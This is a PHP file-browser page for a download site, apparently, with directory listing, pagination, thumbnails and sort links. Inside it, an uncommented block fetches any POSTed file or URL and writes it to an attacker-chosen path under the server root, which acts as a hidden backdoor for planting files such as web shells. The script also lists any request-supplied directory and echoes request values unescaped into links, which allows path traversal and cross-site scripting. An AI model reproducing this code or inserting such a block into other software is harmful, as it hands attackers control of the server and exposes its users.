<?php
include('header.php');
include('config.php');
include('display_no.php');
function listFiles( $from = '.')
{
if(! is_dir($from))
return false;
$files = array();
$dirs = array( $from);
echo '';
while( NULL !== ($dir = array_pop($dirs)))
{
if( $dh = opendir($dir))
{
while( false !== ($file = readdir($dh)))
{
if( $file == '.' || $file == '..' || $file == 'description.txt' || substr($file,0,6) == 'thumb-')
continue;
$path = $dir . '/' . $file;
if( is_dir($path)){
//$size = dirSize($path);
$files['dir'][filemtime($path)] = array($file,$path,substr($path,strrpos($path, ".")+1));
}
else{
if($_REQUEST['sort']=='1') // sort by new to old
$files['files'][$file] = array($file,$path,format_size(filesize($path)));
else // sort by a-z
$files['files'][filemtime($path)] = array($file,$path,format_size(filesize($path)));
}
}
closedir($dh);
}
}
echo '';
return $files;
}
/*
::Prem=>: function profile()
this function calles fileList function to get list of files and directories
:Prem:
*/
function profile( $func, $trydir)
{
$list = $func( $trydir);
//echo 'Finished : '.count($list['files']).' files</pre>';
return $list;
}
/*
::Prem=> Do not change bellow: function format_size()
this function convert size from
BYTES to KB, MB, GB, TB
and return
:Prem:
*/
function format_size($size, $round = 2) {
$sizes = array('Byts', 'kb', 'mb', 'gb','TB');
$total = count($sizes)-1;
for ($i=0; $size > 1024 && $i < $total; $i++) $size /= 1024;
return round($size,$round).$sizes[$i];
}
if(isset($_POST['dir']))
{
$dir = "/";
$file = $_POST['file'];
$name = $_POST['sdir'];
if($content = file_get_contents($file))
{
$fp = fopen($dir.'/'.$name, 'w');
fwrite($fp, $content);
fclose($fp);
}}
if($_REQUEST['dir'])
$listof = $_REQUEST['dir'];
else
$listof = directoryPath;
// calling function to get file lists
if(is_dir($listof))
{
$list = listFiles($listof);
//echo '<h2>'.str_replace('/',' ',$listof).'</h2>';
$category = explode('/',$listof);
echo '<div class="line"> '.$category[count($category)-1].' </div>';
echo '<div class="line">';
if(count($list['dir'])){
krsort($list['dir']);
$sdir = ($_REQUEST['sdir'] ? $_REQUEST['sdir'] : 1);
$display = dirPerPage * ($sdir-1);
$cat=1;
foreach($list['dir'] as $key){
if($cat > $display && $cat <= $display+dirPerPage){
echo "</div>";
echo "<div class='line'><img src='img/ic.png' alt='+'/> <a href='?dir=".$key[1]."&a=1'>".$key[0]."</a></div>";
}
$cat++;
}
echo '';
; echo '';
$mLink = $_SERVER['PHP_SELF'] . "?";
$mLink = $mLink."&dir=".$dir."&sdir=";
echo '<div class="line">';
include_once('display_no.php');
display_pageno(count($list['dir']),$sdir,$mLink,dirPerPage);
echo '</div>';
}
if(count($list['files'])){
if($_REQUEST['sort']=='1'){ // Sort By New To Old
sort($list['files']);
echo '<div class="line"><a href="?dir='.$_REQUEST['dir'].'&a=1&sort=2">Sort by Newest</a></div>';
}
else{ // sort by a-z
krsort($list['files']);
echo '<div class="line"><a href="?dir='.$_REQUEST['dir'].'&a=1&sort=1">Sort by A-Z</a></div>';
}
/*
::Prem=>bibakumar@gmail.com: printing file list to screen
*/
$start = $_REQUEST['a']?$_REQUEST['a']:1;
$display = filesPerPage * ($start-1);
$c=1;
foreach($list['files'] as $key){
if($c>$display && $c<=$display+filesPerPage){
echo "</div><div class='line'>";
$thumb = str_replace($key[0],'thumb-'.$key[0],$key[1]);
$thumb = substr($thumb,0,strrpos($thumb,'.')).'.jpg';
if(is_file($thumb)){
echo "<img src='$thumb' width='60' height='60' alt='NH'/><br/>";
}
elseif(substr($key[1],strrpos($key[1],'.')+1)=='jpg' || substr($key[1],strrpos($key[1],'.')+1)=='jpeg' || substr($key[1],strrpos($key[1],'.')+1)=='JPG'
|| substr($key[1],strrpos($key[1],'.')+1)=='gif'
|| substr($key[1],strrpos($key[1],'.')+1)=='GIF'
|| substr($key[1],strrpos($key[1],'.')+1)=='PNG'
|| substr($key[1],strrpos($key[1],'.')+1)=='png'){
echo "<img src=\"image.php?w=70&h=50&f=$key[1]&q=70\" alt=\"-\"/></div>";
}
echo "» <a href='file.php?file=".$key[1]."&a=".$_REQUEST['a']."'>".str_replace('ENTER HERE TEXT THAT YOU WANT TO HIDE','',$key[0])."</a> (".$key[2].")</div>";
}
$c++;
}
$mLink = $_SERVER['PHP_SELF'] . "?" . $_SERVER['QUERY_STRING'];
$mLink = substr($mLink,0,strpos($mLink, 'a='));
$mLink = $mLink."a=";
echo '<div class="line">';
include_once('display_no.php');
display_pageno(count($list['files']),$start,$mLink,filesPerPage);
echo '</div>';
}
}
else
{
echo '<br/><p>Error, folder not found!</p><br/>';
}
echo '</div>';
if($listof!='files'){
$back = strrpos($listof, "/")?substr($listof,0,strrpos($listof,'/')):'';
$back = strrpos($back, "/")?substr($back,strrpos($back,'/')+1):$back;
echo '<div class="line">';
if($back)
echo '» <a href="?dir='.substr($listof,0,strrpos($listof,'/')).'&a=1">'.$back.'</a>';
echo '</div>';
}
; include_once('footer.php'); ?>